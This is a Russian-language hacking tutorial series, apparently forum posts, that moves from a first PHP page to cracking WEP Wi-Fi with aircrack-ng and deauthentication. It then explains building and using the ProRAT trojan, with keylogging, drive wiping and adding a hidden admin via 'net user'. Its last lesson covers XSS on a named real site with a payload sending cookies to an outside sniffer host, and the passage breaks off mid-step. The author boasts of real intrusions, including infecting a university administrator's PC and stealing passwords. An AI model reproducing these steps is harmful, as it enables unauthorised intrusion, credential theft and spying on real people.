Первые понятия WEB страничек
Переходим к созданию первой своей странички....написанной на PHP!
И так...смотря куда вы установили Апач в такой директории и ищите....если вы устанавливали по дефолту(стандарту) то переходим C:\AppServ\www
и в директории создаём папку с именем  google //заметьте что папка названна маленькими буквами.(регистр важен)
Заходим в неё ....и создаём файл index.php //регистр важен
Теперь редактируем index.php //пишем в вайле
_____________________

<?php
printf("My first Google!")
?>

_____________________

Опять открываем Браузер и вводим в URL localhost/google
и если вы всё правильно сделали у вас должна открыться страничка а там написанно "My first Google!"

Надеюсь вы поняли структуру вайловой системы...что index.php или index.html это стартовая страничка.....и она(этот файл) открывается первой в папке если она указанна.
И то что WWW это стартовая дерриктория ....откуда начинается localhost...если вы внимательны ....то заметили что index.php в этой дерриктории тоже присутствует..... поэтому когда вы набрали localhost у вас открылась страничка...а не пустота)))

ИТОГ:
Мы с вами поставили свой собвстенный сервер благодоря которому вы можете продолжать обучаться....и не спрашивать на форумах как открыть love.php =))
Так же я надеюсь вы разъяснили для себя какого вида языки программирования бывают....и выбрали для себя что вам нужно.

И самое главное....не повторяйте моей ошибки....
параллельно не изучайте 2 языка программирования....у вас в голове будет такая каша....вы запутаетесь во всём что можно.....
А моя беда....я начал изучать C++ и PHP одновременно....и те кто знают эти языки....поймут меня)))ибо они оба до боли похожи...но различия всётаки имеются....//вывод...путанница и в том и в том языке)))естественно я потом это исправил....но это заняло время

Вот вам учебник по PHP http://www.softtime.ru/bookphp/gl1_1.php //это для тех у кого лимитный или медленный интернет....
А для тех у кого безлимитный и быстрый интернет....я выкладываю ВИДЕО УРОКИ по PHP & MYSQL
Rapidshare
http://rapidshare.com/files/150332728/1.part01.rar.html
http://rapidshare.com/files/150335933/1.part02.rar.html
http://rapidshare.com/files/150338304/1.part03.rar.html
http://rapidshare.com/files/150340224/1.part04.rar.html
http://rapidshare.com/files/150342354/1.part05.rar.html
http://rapidshare.com/files/150343811/1.part06.rar.html
http://rapidshare.com/files/150345879/1.part07.rar.html
http://rapidshare.com/files/150349053/1.part08.rar.html
http://rapidshare.com/files/150351471/1.part09.rar.html
http://rapidshare.com/files/150353524/1.part10.rar.html
http://rapidshare.com/files/150357909/1.part11.rar.html
http://rapidshare.com/files/150360297/1.part12.rar.html
http://rapidshare.com/files/150361864/1.part13.rar.html
http://rapidshare.com/files/150365282/1.part14.rar.html
http://rapidshare.com/files/150366875/1.part15.rar.html
http://rapidshare.com/files/150369218/1.part16.rar.html
http://rapidshare.com/files/150371856/1.part17.rar.html
http://rapidshare.com/files/150373276/1.part18.rar.html
http://rapidshare.com/files/150375542/1.part19.rar.html
http://rapidshare.com/files/150377380/1.part20.rar.html

Можно пропустьить.
_____________________________________________________________________________________
Сегодняшний урок будет посвещён взлому WiFi Сетей...вы бы знали как приятно когда ты взломал очередную сетку...
Но я собственно и пишу эту статью чтобы вы узнали каково это!))))
Сегодня (позаимствовал сетку) в нашем районе=))только ради этого урока....//превыкайте слово позаимствовал это взломал.(чтобы не палиться)))
Но самое приятное это был не халявный интернет.....а Удалённый доступ!!!который я совсем не ожидал)))//пишу под эмоциями так что извиняюсь за смайлы))).
_____________________________________________________________________________________

Урок 8.

Взлом Wifi
Вообще взлом Wifi Сетей называется Вардрайвинг (wardraiving)
//для того чтобы у вас всё получилось в этом уроке вам нужен либо ноутбук(с потдержкой Wifi) либо комп с сетевой картой.(короче тоже потдержка Wifi)

И так первое с чего надо начать это с выбора инструмента взлома.....
Сегодня я вас познакомлю с самым известным хакерским "инструментом" //вернее сказать Операционной Системой(ОС)

BackTrack 3

Эта операционная система созданная для анализа сетей....и "тестирования безопасности"//но мы то теперь знаем для чего она =)

Но не расстраивайтесь....вам не надо будет удалять вашу любимую Windows для того чтобы пользоваться этим уроком.

BackTrack 3 бутабл операционная система(тоесть её можно загружать из других носителей  таких как USB (флешка) CD (диск) или WMware (виртуальная машина)
Я вам расскажу как можно поставить эту операционную систему на USB и на CD .//для USB понадобится 784 MB а для CD 695 MB свободного места.

Разделим на несколько пунктов установку.

1)Скачиваем дистрибутив (ОС) c официального сайта http://www.remote-exploit.org/backtrack_download.html
//перед тем как качать обратите внимание там несколько дестрибутивов.....выберите тот который вам нужен.....тобишь USB или CDROM .

2)После того как вы скачали...дистрибутив распакуйте его в любое место на компе и у вас появятся две папки.... boot и BT3

3)Открываете папку BT3 и запускаете файл make_iso после чего переходите в папку boot и открываете bootinst (при этом и в том и в том файле вас просят несколько раз нажать Enter сделайте это...)

4)Так наш дистрибутив готов....теперь если вы хотите пользоваться USB версией ....то просто перекиньте эти две папки в корневую деррикторию(корнивой деррикторией называется первоначальное место сохранения....тоесть если ваш USB находится F:\ то корнивая дерриктория для него и будет F:\  )  и проделайте пункт 3 еще раз....ВАЖНОчто бы флешка была пустой (на момент залития папок)

//ТАК ЖЕ  ЧАСТАЯ ОШИБКА ЭТО ТО ,ЧТО ВЫ КОПИРУЕТЕ НА НОСИТЕЛИ НЕ 2 ПАПКИ А ОДНУ ...А В НЕЙ ЭТИ ДВЕ....ЭТО НЕ ПРАВЕЛЬНО.
НУЖНО ЧТОБЫ У ВАС БЫЛО 2 ПАПКИ А НЕ ОДНА ПАПКА А В НЕЙ ЭТИ ДВЕ.

А что касается CD мы вставляем пустой диск....там где у вас находится пустой диск....(у меня это диск D:\) перебрасываем эти две папки в эту деррикторию и проделываем пункт 3 еще раз.
И только после этого прожигаем диск....

Вот что должно у нас получиться.... http://img241.imageshack.us/my.php?imag … 834pf7.jpg

И так.....с установкой нашей ОС мы закончили...но теперь её надо как то загрузить...!!!!

И это мы делаем через BIOS!
это для тех кто не знаком.... http://ru.wikipedia.org/wiki/BIOS
//Биос загружается при загрузке компьютера...тоесть вы перезагружаете компьютер...и когда он только началзагружается..(не появилось окошко загрузки Windows) вы жмёте определённую клавишу несколько раз за секунду....и у вас появляется BIOS а не загрузка Винды....)
Но тут возникает маленькая проблеммка....у всех разные BIOS`Ы
И соответственно разные комбинации клавиш...для того чтобы загрузить его....

У меня лично он загружается на клавишу F12 но бывают разные случаи.....поэтому почитайте вот эту ссылкуhttp://itc.ua/node/32864 (Загрузка BIOS) там разные клавиши приведены.

После того как вы зашли в BIOS (надеюсь у вас это таки получилось) вам надо найти Всё что связанно с вкладкой BOOT ( загрузка) и поменять её параметр на тот который вам нужен....тоесть если у вас USB на USB если CD то на CD ....(а по дефалту она стоит на hard Disc - жосткий диск)
//USB в некоторых Биосах принимается как Floppy Disc
А в некоторых BIOS' ах приоритет загрузки надо поменять...тоесть с какого устройства надо пробовать грузиться в первую очередь а с какого во вторую....
НО ВСЁ ЭТО СВЯЗАННО СО ВКЛАДКОЙ ИЛИ ПОЛЕМ BOOT  //так что ищите и разбирайтесь...вам это понадобится....во всяком случае можете у друга попросить чтобы он вам помог загрузиться с определённого носителя с помощью вашего BIOS`а

Так же при загрузке очень часто можно увидеть сообщение о возможности загрузиться с Биоса и какую клавишу надо нажать...так что читайте что вам пишут когда вы только включаете компьютер.

Когда мы наконец таки правильно настроили биос и загрузились с нашего носителя.....( нашу ОС )

То сначало вы увидите как BackTrack просит вас выбрать вашу видео карту.....обычно для всех ноутов это первая строчка....но для моего это оказалась третяя (Vesa) выберите ту видеокарту которая у вас...и если вы выбрали её правильно то вы увидите как BackTrack грузится.....и после чего вы попадаете в графическое меню(рабочий стол) как в винде....

Переходим к взлому
Всё мы вошли... теперь нам надо узнать какой у нас интерфейс....у нашей сетевой карты....это можно узнать через консоль //см рисунок как войти в консоль.
Набрав команду  airmon-ng
Вот как это выглядит http://img184.imageshack.us/my.php?imag … ot1il0.png

Когда мы узнали какой у нашей сетевой карты интерфейс(у каждого он может быть разный ...подставляйте свой) мы запускаем его в режим мониторинга это нужно для того чтобы сетевая карта могла быстрее собирать пакеты передаваемые сетью.
Делается это командой airmon-ng start eth0 (cм рисунок выше)

Всё сетевую карту мы подготовили.
Теперь нам надо узнать что вообще за сети сейчас присутствуют и какие виды защиты они используют.
для этого мы в той же консоли прописываем команду airodump-ng eth0 (жмём и появляются строки с сетями...их идентификаторами каналами...итд.) после того как вы видите что больше уже ничего не появится....вы жмёте Ctrl + X или Сtrl +Z  попробуйте эти две комбинации я просто точно не помню....но скорее всего первая....это нужно для того чтобы остановить анализ сетевого пространства и уже непосредственно перейти к нападению.

И так мы собрали информацию....
вот что она означает...... http://img142.imageshack.us/my.php?imag … ot5gn6.png

Мы будем рассматривать взлом Wifi  с защитой WEP так как она сама уязвимая....и при этом остаётся популярной.....есть еще несколько видов такие как WPA\WPA2 про них вы можете где угодно прочитать....а я вам закладываю основу....

После того как мы узнали основную информацию о сети....а это
1)Идентификатор сети
2)Канал на котором расположена сеть
3)Вид шифрования (WEP)

Можно приступать к воровству....
Нам нужно задать такой запрос в консоле
airodump-ng -c (Канал сети которую ломаем) --bssid (идентификатор сети которую ломаем) --ivs -w capturefile eth0

--ivs это значение показывает что не все пакеты нужно собирать ....а только с определённой информацией хранящей в себе пароль.
-w (имя файла) это значение для того чтобы куда то сохранить все эти пакеты....
eth0 интерфейс нашей карточки...

Вот как выглядит запрос в моей ситуации... http://img142.imageshack.us/my.php?imag … ot5gn6.png //сопаставьте его со своим и всё поймёте.....
Жмём Энтр и у вас получается , что из всей горы Wifi которых вы видели....остаётся только эта точка....и пакеты (#Data) должны собираться быстрее...
#Data хранят в себе "кусочки пароля" и именно их нам надо собирать.....скорость их добычи зависит от того подключён ли к этой сети другой пользователь и насколько активно он использует его....чем активнее он использует инет тем быстрее мы его ломанём....
есть два вида ключа 64 битный и 128 битный....для 64 бита потребуется от 50 000 до 200 000 векторов инициализации, а для успешного взлома 128-битного WEP - от 200 000 до 700 000!
эти цыфры были приведины http://www.thg.ru/network/20050806/onepage.html этим ресурсом....
Хотя на практике мне для взлома 64 битного хватало 20000 пакетов...(векторов инициализации) а для 128 битного 60000....

Так вот...как узнать подключён ли к сети пользователь....
вот смотрите.... http://img147.imageshack.us/my.php?imag … ot4xd2.png

Далее мы хотим повысить фактор взлома...(ускорить его)//это можно устроить если  к точке подключён другой пользователь....

Открываем еще один терминал и прописываем команду
aireplay-ng -a (идентификатор сети) -c (идентификатор пользователя) --deauth 10 eth0
еще разок посмотрите пример... http://img147.imageshack.us/my.php?imag … ot4xd2.png
сделайте эту команду раза 3 .....она поможет для получения #Data.

Через некоторое время мы собрали достаточное количество пакетов(на наш взгляд)....(если вы не уверены что это количество достаточно вы можете просто не закрывать терминал там где вы собираете эти пакеты...и проверить....взломали ли вы уже сеть.....)
А делается это так....
Открываем новый терминал и вбиваем туда команду
aircrack-ng (и перетаскиваем с корневой папки /root файл который был создан в моём случае это capturefile.ivs) и вставляем его в терминал.....
у вас получится что то вроде этого
aircrack-ng '/root/capturefile.ivs' 
А вообще смотрите рисунок....  http://img517.imageshack.us/my.php?imag … ot6jf9.png
после чего жмём энтр....и ждём перебора.....
Если вы достаточно насобирали себе пакетов...то тогда вы получите вот такой результат
http://img147.imageshack.us/my.php?imag … ot7at6.png //И это будет ключь от вашей Wifi точки....
//Частая ошибка ключ пишется без двоеточия...
А если нет то вам выдодут ошибку о том что мало пакетов...

Вот собственно и всё со взломом Wifi))

Но я до расскажу историю которая приключилась со мной....
после того как я своровал вайфай ключь ...я просканировал диапозон IP адресов этой сети....от 192.168.1.1 до 192.168.1.255

И обнаружил еще несколько компов в сети....
Ради прикола решил просканировать на открытые порты один комп(при помощи nmap)....и оказалось что у него открыт порт от программы Radmin(программа для удалённого доступа...) я скачал клиента и полностью рутил его компом...как весело было наблюдать за его рабочим столом как он гамал в Сталкер)))) вот скриншот как я это сделал.
http://img262.imageshack.us/my.php?imag … 881wa5.png

________________________________________________________
Подведём итоги.
1) Мы с вами познакомились с BIOS`om и его возможностью загружаться с разных дисковых накопителей.
2) Мы  поняли что бывают разные виды защит Wifi и то как они уязвимы.
3) Я думаю вы теперь поняли что Radminom лучше не пользоваться)))) особенно если часто подключаешся к незнакомым сетям.
4)Познакомились с очень НУЖНОЙ для нашего дела ОС (BackTrack) кстати она основанна на UNIX поэтому вы параллельно можете понять файловую систему UNIX .

И наконец вы хоть и немного но поработали с терминалом.
__________________________________________________________
Я заранее извиняюсь что урок получился сложным......как мог старался упростить... давать меньше теории которую вы можете при необходимости найти...а показывал одну практику.
Можно пропустить.
_______________________________________________________
В этом уроке я рассмотрю очень известную хакерскую тулзу...
А уже в следующем уроке мы непосредственно перейдём ко
взлому сайтов =) так что вам осталось последний урок потерпеть)))
И я надеюсь что вы уже все выучили html.
_______________________________________________________

Урок 9.

ProRAT

ПроРАТ это очень известная троянская программа которая использует такую систему "атаки" как backdoor (Бэкдор) - что это такое можно узнать от сюда http://ru.wikipedia.org/wiki/Backdoor

Я специально выложил её для вас сюда
http://ВНИМАНИЕ! Тут должна была быть ссылка на depositfiles.com, скорее всего это вирус или троян!/files/8679846

А теперь давайте рассмотрим эту программу.

Распаковываем архив в любое место....и открываем программу ProRat

И первым же делом хочу сказать минус этой программы.....она работает только в локальной сети....и тех у когостатичесий IP(тоесть никогда не изменяется) (Естественно со стороны сервера)
//надеюсь что вы понимаете что локальная сеть это не только компы подсоединённые друг к другу проводами)))
Но это не обломно ...ибо её можно применить на работе....в школе....в инсте....тут зависит только от вашего воображения...

Первым делом нам надо сделать сам троян (Сервер) кто забыл ....сервер это компьютер предоставляющий свои услуги.....=)
в нашем случае это компьютер жертвы......(тоесть файл который будет открывать атакуемый)

и чтобы сделать этот файл....мы должны перейти во вкладку Create --- Create ProRAT Server 
И после этой процедуры первая вкладка будет
Notifications (Оповещения) - эта вкладка отвечает за то чтобы настроить оповецение о том что этот файл открыли....//тут вы можете настроить оповещение по ICQ Mail CGI логу))) но эта вкладка не интересна....ибо почти во всех случаях оповещение либо глючит либо вообще не работает.....Но кому интересно можете попробовать.

General Settings  вот эта вкладка очень важная....сдесь мы должны  установить парольна Сервер и ваше имя для сервера Victim Name
Огромная просьба ...обратите внимание на пароль....ибо если вы его оставите по дефалту (123456) то тогда любой грамотный хакер ....да и безграмотный может просканировать деапозон IP на открытые порты.... найдёт 5110 порт...и поймёт что это ProRAT и то что к нему можно подключиться.....(а темболее это губительно если вы на себе тэстируете программу)
А что касается имени...оно особо не понадобится.....оно только понадобится для переписки (про которую я напишу позднее) а пока ставьте свой ник.
Порт оставьте 5110 ....
Ну и последнее что пожалуй нас заинтересует...это Give a fake error massage  (Выдать ложную ошибку) тоесть после открытия троя ...вылетит ошибка...текст которой можете написать вы....нажав на Configure и редактируете текст ошибки.
// и вот еще что....подумайте перед тем как поставить эту галочку...а надо ли вам она?(отвлекать пользователя разными ошибками =) )

Bind with File
//вот собственно почему я и писал....а надо ли вам это....если в следующей вкладке можно скрепить файл с файлом.....тем самым не привлекать внимания пользователя ошибками....а привлечь внимание программой.....вордовским файлом.....или еще чем...

Bind Server with a file(Скрепить файл сервера с другим файлом)если хотите воспользоваться этой функцией ставим галку...и выбираем файл при помощи Select file.

Select Server Extension(выбор вида файла на выходе)
Тоесть какого расширения вы хотите файл...досовский фай .com или программу .exe или батовский файл .bat...но учтите что только под SCR и EXE потдерживаются иконки....(вставление ложных иконок)

Server Icon
Тут мы собственнои и выбираем иконку....для нашего файла

После чего мы успешно закончили нашу установку....и жмём Create Server

У нас получился новый файл в папке под имение Server .....
______________________________________________________________________________
Вот собственно мы и сделали наш вирус)))

Теперь его функционал....
После того как вы запустили его на машине другово пользователя....находящегося в локальной сети или имеющий статический IP
мы можем выполнить вот какие действия (уже со совей машины...)//Но перед этим нам стоит подключиться к этой машине....)))
и делаем мы это так.... в поле IP пишем айпи машыны жертвы....
вот как можно узнать IP жертвы....
1)Сделать финт ушами....тоесть склеить ПроРАТ вместе с Пинчом.....(а как вы помните он отображает информацию о подключении)
2)Тупо посмотреть IP с его машыты.....набрав в Выполнить ipconfig /all ( а там будет поле IP-адрес)
3)Воспользоваться анализатором сети.....Advanced LAN Scanner http://www.radmin.ru/products/utilities/lanscanner.php
//но чаще всего такой возможности не выпадает ибо его надо установить...а мы представляем что мы ограниченны в рамка....так что можно воспользоваться еще одним финтом....
4)Узнать IP жэртвы можно попросив её перейти на http://old.antichat.ru/cgi-bin/s.jpg 
а самому ждать тут http://old.antichat.ru/sniff/log.php ....и после того как вы почуствовали что он уже мог зайти.....обновляйте...и первая строка будет примерно такой...

[Sun Oct 12 01:16:58 2008] IP=78.116.93.120 SITE=
    REFERER=
    QUERY=
    AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
Где IP это IP   жертвы...

5)Или тупо узнать через виндовское приложение......(подключения)

И так мы узнали IP теперь вставляем его к нам в ProRATв поле IP ,Порт если вы не изменяли...то оставляем такой же ..и жмём Connect
Если у вас всё получилось то у вас запросят пароль который мы указывали...для подключения к серверу.//набираем его и ОК

Всё мы приконнектились....
Теперь я рассмотрю самые важные для нас функции этой программы.

1) это возможность управлять файлами...(просматривать,удалять , скачивать,закачивать)
И чтобы это сделать мы переходим во вкалдку File Manager --- Refresh
и вот перед нами открылась файловая система другово компьютера....
с такими вкладками как Upload (загрузить на сервак) Download(Скачать с сервакак) Delet (удалить) Run (выполнить) ....создать деррикторию итд...мы можем всё! А то что мы можем всё я вам докажу на личном примере....но об этом чуть ниже....

2)Следующая вкладка на основном меню которая важна для нас...это Registry(Реестр) при помощи этой вкладки мы можем изменять реестр .....лазяя по нему в релальном времени))))Для этого нужно перейти
Registry --- и в поле Root key выбирать в каие ключи ты хочешь редактировать....

3)KeyLogger (название говорит само за себя....
Это кийлогер...для тех кто забыл ...это (шпион клавы) тоесть считывает все нажатые на компе клавишы и передаёт их нам....в виде лога
для того чтобы воспользоваться этой функцией жмём...
Keylogger---Read Log //и периодически нажимайте Read Log так как он сам не обнавляет нажатые клавиши....а если вы так нажмёте то он обновит....

4)Services Manager
Для нас это тоже очнеь важная фишка....так как тут не только можно наблюдать за всеми процессами которые выполняются...но и откючать их.
Services Manager --- (выбераете процесс) и выбераете действие Старт\Стом\Удалить\Авто запуск..

5)Screen Shot делаем скрины удалённого компа....
Screen Shot -- Screen Shot[Method1] и все сделанные скрины сохраняются для того чтобы открыть сохранённые рисунки нужно нажать Open Images Directory

6)Give Damage
Моя самя любимая функция....)))удаляем все дрова.....у удалённого компа...сделать это можно
Give Davage -- Format Drives

7)Run(название говорит само за себя...."запуск")
От сюда можно запускать vbs скрипты...ключи реестра...батовские файлы.....команды MSDOS`a а это очень полезная вещь однако....

Вот один из ДОСовских финтов....
Net user xakep(<-логин) admin(<-пароль) /add
Вот как в чистом виде выглядит
Net user xakep9009 admin /add       //это мы создали новую учётную запись на удалённом компьютере)))
А чтобы присвоить ей права администарора пишем...
Net localgroup administrator(<--это группа к которой мы присваиваем) xakep9009(<--а это кого присваеваем) /add
В чистом виде это выглядит так...
Net localgroup administrator xakep9009 /add

8)Applications
При помощи этой фишки можно удалять процессы программ которые выполняются сейчас....тоже мега важная вещь.....

Ну а дальше идут чисто фишки чтобы побаловаться.....и мне они не очень нравятся....но я их перечислю....
9.1)Funny Stuff
Она включает в себя
Закрытие\Открытие сидирома
Всякого рода стёба над видом рабочего места...
Скрытие значков с рабочего стола.....скрытие часов...кнопки пуск.....переворачивание монитора.....(рабочий стол переворачивается верх головой)Заблокировать мыш....заставить её бегать по экрану хаотично....
9.2)IExplorer
Разного рода проделки с бедным браузером....
Задание домашней странички....изминение его титула......(чтобы назывался не IExplorer а любое другое название)или просто перейти по ссылке.....
9.3)Shut Down PC
Выключение ...перезагрузка.....спящий режим....
9.4)Chat
Переписываться с жертвой чтобы она ничего не могла сделать....кроме как ответить вам......
9.5)Massage
Сообщение....в виде ошибки.....

____________________
Ну и пожалуй я забыл еще сказать про PC info (из основных вкладок)
PC info -- System information
и видим информацию о системе....или вот еще Last visitied  25 site (25 последних сайтов которые были открыты)

вот собственно тут я подведу точку в описании и расскажу свой личный опыт....как я "поработал с этой прогой"

Месяц назад мне друг закриптовал приватным криптором эту замечатильную вещь и я сразу пошёл в инст. пробовать))))
У нас все компы в локалке.....и один комп главный.....там сидит администратор....я попросил как обычно открыть мою презентацию чтобы её отредактировали ....но только её попытались открыть вылетела ошибка "Ваш файл повреждён!"....я с огорчением ушёл на пол часа.....
Потом вернулся снова...чтобы типа посёрфать инет....подключил флешку...открыл ПРОрат и подключился к компу проделал финт с ДОС командами и у меня в кармане была свежая учётка Админа......но на этом я не успакоился...отключил антивирус....и скопировал с флехи пинч...на ту машину....и запустил....на моё удивление пассы админов были сохранены......и аккуратно перескачили ко мне))))но я их увидил только дома......стёб над Админами я не проводил....так как это люди как ни как)))

Заключение.

1)Мы с вами познакомились с такой известной хак тулзой как  ProRAT
2)Рассмотрели несколько способов как можно получить IP в локальной сети...или просто
3)Ознакомились с основными функциями этой программы
4)Узнали про эмулятор доса (вернее про то что он не бесполезен)//финт с MSDOS
5)Узнали...или повторили что такое статически IP
6)Ну и конечно познакомились с таким видом атаки как Backdoor //теперь если услышите можете сказать....а я тоже могу провести backdoor. 

___________________________________________________________

Ну собственно я хотел чтобы в 9ом уроке мы уже начали нападение про сайты изучать....но что то мне приспичело вас познакомить с backdoor`ом.......и я еще подумал...что юбилейный урок должен быть мега супер пупер....и я эту тематику(взлом WEB) оставил для него....
Надеюсь вы что то новое узнали для себя.

_________________________________________________________________________________________

Да и кстати радостная весть про людей озабоченных с пинчём)))
Я недавно разобрался как можно вам помочь чтобы парсер у вас работал.....
Удалите всё из папки Reports
Открываем Реестр ...жмём
Moй компьютер (ВАЖНО ПОСТАВЬТЕ КУРСОР НА ЭТУ ВЕТКУ , ТОГДА ПОИСК НАЧНЁТСЯ С САМОГО НАЧАЛА) ---- Ctrl+F --- Parser2 (можете прямо скопировать что искать....)--(после чего удаляете все ключи связанные с Parser2(там где присутствует это слово....)

После чего....сохрание ваши отчёты (.bin) на рабочий стол......
Перенисите Parser2 обратно в папку Reports откройте Parser2 опять сделайте дефалтные настройки......и после этого перетащите отчёты с рабочего стола.....на белое поле программы Parser2 ....и у вас откроится отчёт.....(если обасобить...то вы просто перетаскиваете отчёт в программу)

А если не получится....проделайте всё еще раз...начиная с очистки реестра...только в этот раз не создавайте заново дефалтные настроки в Парсере....он их уже сохранит....просто перетаците .bin файл в Парсер......
Можно пропустить.
______________________________________________
Это ппц.....уже в третий раз переписываю статью......всё из-за моего упрямства.....
Люблю писать прямо в браузере.....
Энтузиазм пропал....но я постараюсь всё востановить.
______________________________________________

Урок 10.

XSS

_________________________________________________
А начну я пожалуй с нашей защиты....для того чтобы нас не нашли...нам надо использовать Proxy
но с ними вечно проблеммы так-как он очень быстро портится....и очень медленный...
А я вас познакомлю с такой программой как Tor.
Скачать его можно тут
http://www.torproject.org/download.html.ru
Он работает по принцыпу....вы седите через другово пользователя подключенного к этому сервису ...а тот пользователь через другово....а тот через другово....а тот в свою очередеть через другов.....а тот....=)
Короче фиг найдёшь исходного человека....
После того как вы установили Tor и установили плагин на ваш стандартный браузер у вас появится в правом нижнем углу (вашего браузера) Tor отключён после нажатия на эту надпись он включится......
Иногда бывает что тот через кого вы седите.......очень тормознутый...или находится в другой стране ...в которой запрещён вход на тот сайт который вы хотите......чтобы сменить этого пользователя отключитесь от тора.....а потом еще раз включите его...//это делается двумя щелчками в правый нижний угол вашего браузера.....
вот теперь можно преступать.
_________________________________________________

Эта аббревиатура переводится как cross site sсriрting (меж сайтовый скриптинг) тоесть внедрение произвольного кода (скрипта).
Как вы заметили вместо буквы C поставили X  для того чтобы не путать с CSS (Каскадные таблицы стилей) //то что вы должны были изучить вместе с html

Этот вид атаки мой самый любимый....так как большинство программистов пренибрегают этим видом атаки...считая его не дееспасобным....
тем самым отказываются закрывать дырки из-за ненадобности.....

Для того чтобы определить присутствует ли эта уязвимость ....вам достаточно подставить специальный скрипт(см.ниже)...в различные переменные,в ПМ(сообщения проходящие по этому сайту) в поисковик(раположенный на этом сайте), в любые поля где можно что то заполнить....

'><sсriрt>alert('Xakep9009_Rullzz')</sсriрt>

В место Xakep9009_Rullzz Вы можете написать любой текст.....
а '> я применил для того чтобы быть уверенным что мы закрыли последний тэг....который прописанн уже в самом сайте......

Если данный вид уязвимости присутствует то вы увидите вот что...
http://shurem.ru/main_lst.php?top_id=393&amp;order='><srit>alert(%27Xakep9009_Rullzz%27)%3C/sсriрt%3E

Как вы видите .....я подставил '><sсriрt>alert('Xakep9009_Rullzz')</sсriрt> в переменную  order.
Кстати вы наверное заметили как наш скрипт приобразился.....
в место '><sсriрt>alert('Xakep9009_Rullzz')</sсriрt> стал%27%3E%3Csсriрt%3Ealert(%27Xakep9009_Rullzz%27)%3C/sсriрt%3E
Ко второму виду записи была применена URL encode (шифровка символов в URL)
В дальнейшем мы будем делать это для того чтобы обходить фильтры......
А закодировать любое слово или фразу можно при помощи вот этого сайта.....
http://www.w3schools.com/TAGS/ref_urlencode.asp

Пример:стоит фильтр на символ ' мы набираем вместо этого символа %27 и обходим этот фильтр.

XSS бывают пасивные и активные

1)Пасивные XSS это такой вид который требует от жертвы какого то действия чаще всего это перехода на определённую ссылку....

http://shurem.ru/main_lst.php?top_id=393&amp;order='><srit>alert(%27Xakep9009_Rullzz%27)%3C/sсriрt%3E

Вот это пасивная XSS так как чтобы она работала на хакера....нужно заставить жертву перейти по ней.....

2)Активные Это те XSS которые не требуют от пользователя особо напрягаться.....тоесть переходить по ссылкам.....которые мы иму скажем....

Теперь давайте рассмотрим Активные XSS
Для этого зарегистрируйтесь вот тут....
http://shurem.ru/index.php?action=2 //регистрация не требует ничего кроме ввода логина и пароля....

После регистрации открываем http://shurem.ru/mess_frm.php
И мы попадаем в раздел создания и отправки писем.....
Теперь вписываем в тему письма            "<sсriрt>alert('Xakep9009_Rullz')</sсriрt> Привет."
А в само письмо <sсriрt>alert('Hellow_World')</sсriрt>

И чтобы проверить наличие уязвимости отправляем письмо самому себе ...... тоесть в поле Получатели пишем свой ник...
И получаем сообщение ....

Теперь вы каждый раз перейда на http://shurem.ru/mess_lst.php эту страничку (пока не удалите сообщение) будете видеть вылетающую ошику.

То что в поле "Тема" присутствует уязвимость мы разобрались...а как насчёт самого псьма.....
Зайтиде в него.....(нажав на тему "Привет.")
И вы увидели что Вылетела ошибка с надпесью Hellow_World Это означает ....что XSS присутсвует не только в поле Тема но и в самом тексте сообщения.

Полазяв по этому сайту еще пару минут обнаружил что скрипты можно вставлять не только в тему сообщения ...в само сообщение....но и даже в личную информацию....!!!!

Заходим в http://shurem.ru/user_inf.php
и редактируем свою информацию.....
Допустим в сведенья пишем нашу стандартную фишку <sсriрt>alert('xss')</sсriрt>
И каждый кто откроет нашу анкету будет видеть эту вылетающую ошибку....

Мы с вами разобрались с Пасивными и Активными XSS , а теперь нам надо понять....а для чего нам они вообще нужны.....(эти найденые дыры)
Есть много вариантов их применения .....допустим найдя на каком то из известных ресурсов XSS можно похвастаться девушке и написать ей любовное сообщение в виде ошибки.

Но это мы оставим на потом....потому как основное применение этой уязвимости для того чтобы своровать Cookies.
Если сказать своими словами...то в Cookies`ax хранится информация о входе пользователя на определённый ресурс.....и сохраняется эта информация в браузере....узнав Cookies от определённого сайта мы сможем зайти на него под тем пользователем ....у которого мы украли эти Кукисы.....
//но это я рассказал вам со своих слов .... более полную информацию получите тутhttp://ru.wikipedia.org/wiki/HTTP_cookie

А теперь давайте применим наши найденные уязвимости на практике....не поленитесь и создайте еще одного пользователя....

Это для лучшего усвоения.
Допустим
qwerty1 - хакер
qwerty2 - атакуемый

Теперь нам надо найти сниффер Кукисов...
И мы будем использовать с вами Античатовский сниффер.
Ибо он хороший...но только для паблика.
Потому что какой нибуть Олень вопхнёт ссылку на форум....и скажет что там Мега порно...люди переходят....а так как XSS там не присутствует Куккисы не воруются....а приходят чисто пустые поля.....с адресом сайта Refere .....тем самым просто флудят лог.

Входим под Хакером в моём случае это Qwerty1
Редактируем свою страничку
http://shurem.ru/user_upd.php

Вот таким образом.....пишем в поле Сведенья
<sсriрt>img = new Image(); img.src = "http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;</sсriрt>

Выходим из Хакера и переходим вот сюда
http://old.antichat.ru/sniff/log.php сдесь вы увидите что тут уже присутсвует одна запись с сайта Referer=http://www.Shurem.ru Итд.
Это вы только что пропалили свои кукисы....=) так как страничка после нажатия редактировать перекидывает вас на неё....только уже отредактированную =)))

( не закрываем античатовскую страничку)
Входим под пользователем жертвой....в моём случае это qwerty2 и переходим на страничку http://shurem.ru/user_inf.php?user=qwerty1
Где qwerty1 это ник Хакера.

Обновляем страничку ЛОГА и получаем

[Sun Oct 12 20:24:37 2008] IP=78.106.95.120 SITE=shurem.ru
   REFERER=http://shurem.ru/user_inf.php?user=qwerty1
   QUERY=PHPSESSID=cb5185cf87ea38c06fec30afb4622fcf
   AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3

//выходим из qwerty2 (атакуемого)

Где REFERER это откуда пришёл этот человек.
IP он и в африке IP
и нас интересует третяя строчка.....
QUERY=PHPSESSID=cb5185cf87ea38c06fec30afb4622fcf //это и есть кукисы....которые нам нужно подменить...а сделать это нужно при помощи Opera браузер....
К сожалению Фаер фокс (который стоит у меня ) этого не умеет а уж про Осла и говорить то нечего....
Качаем Оперу.....(если нету) от сюда http://ru.opera.com/

Меняем Кукисы

1)Входим из под Оперы под Хакером.....на этот сайт
//это делается для того чтобы Опера сохранила кукисы Хакера....и потом было что подменять.....в место них...
//если бы мы этого действия не проделали у нас бы было пустое поле в кукисах от этого сайта..(тобишь небыло бы того что нужно подменять)
2)Заходим во вкладки Оперы
